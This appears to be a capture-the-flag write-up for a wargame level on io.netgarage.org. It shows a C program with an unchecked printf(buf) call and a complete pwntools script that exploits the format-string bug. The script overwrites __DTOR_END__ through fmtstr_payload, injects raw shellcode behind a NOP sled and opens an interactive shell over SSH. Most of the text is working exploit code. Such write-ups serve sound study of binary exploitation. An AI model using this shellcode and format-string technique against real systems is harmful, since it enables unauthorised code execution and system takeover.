Here's the vulnerable code (/levels/level09.c
):
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
int pad = 0xbabe;
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
return 0;
}
Obviously, the printf(buf)
there is vulnerable to a format string based attack. Hence, I wrote down some code to attack this. It is probably easier to read it in chunks, which is why the script below has been split into those logical chunks with explanation for each.
Do the necessary imports. Pwntools FTW.
from pwn import *
After making the program crash on the system and analyzing the core dump, we get 2 things
__DTOR_END__
(by placing a pointer here, the code will jump to this aftermain
ends)- A stable starting location of whatever was inputted for the
argv[1]
. This is where we'll place the shellcode
As for the shellcode, it is taken from shellstorm here.
ret_location = 0x80494d4 # __DTOR_END__
shellcode = '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'
shellcode_location = 0xb7fd9000 # Points to start of string (until the
# first '%' sign) taken from core dump
Now, the shellcode location is at some place with a NULL, which is why we shift it by some amount. Additionally, we add in a NOP sled (after the shifted portion), just for safety sake (though not necessary). We also want to maintain that len(shellcode) % 4 == 0
, which is equivalent to (shift + nop_sled_len) % 4 == 2
.
shift = 0x12 # How much to shift shellcode by (to prevent nulls, and to line up the offset properly)
nop_sled_len = 0x10 # How long a nop sled
shellcode = '\x90' * (shift + nop_sled_len) + shellcode
shellcode_location += shift
Set up what we want to write where, during the final attack
payload_dict = {ret_location : shellcode_location}
log.info("payload_dict = %s" % repr(payload_dict))
Open an SSH connection to the level and log in
sshconn = ssh(host='io.netgarage.org',
user='level9',
password='*************')
Define a function that abstracts away the input and output of the format string attack. Basically, we want to have a Python function f
that has the following property: f(x)
returns the value that would be printed if we executed printf(SOMETHING_CONSTANT + x)
. The SOMETHING_CONSTANT
can be empty, but in this case, we set it to be shellcode
to make it easier for us down the line.
def exec_fmt(payload):
payload = shellcode + payload
p = sshconn.process(['/levels/level09', payload])
log.info("Using payload = %s" % repr(payload))
recvd = p.recvall()
log.info("Received = %s" % repr(recvd))
p.close()
return recvd
Calculate the offset at which the format string is able to control the vulnerability. This is equivalent to the value N
for which the payload AAAA%N$p
would return AAAA0x41414141
.
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
log.info("Found offset = %d", offset)
Create the payload. numbwritten
tells how many bytes are part of the SOMETHING_CONSTANT
mentioned above.
payload = shellcode + fmtstr_payload(offset, payload_dict, numbwritten=len(shellcode))
log.info("Constructed payload = %s" % repr(payload))
log.info("Payload length = %d" % len(payload))
Actually execute the payload, and let the dropped shell become interactive for the user
p = sshconn.process(['/levels/level09', payload])
p.interactive()
Clean up :)
sshconn.close()
W00T! Format string exploitation made easy :)
That was cool! 😄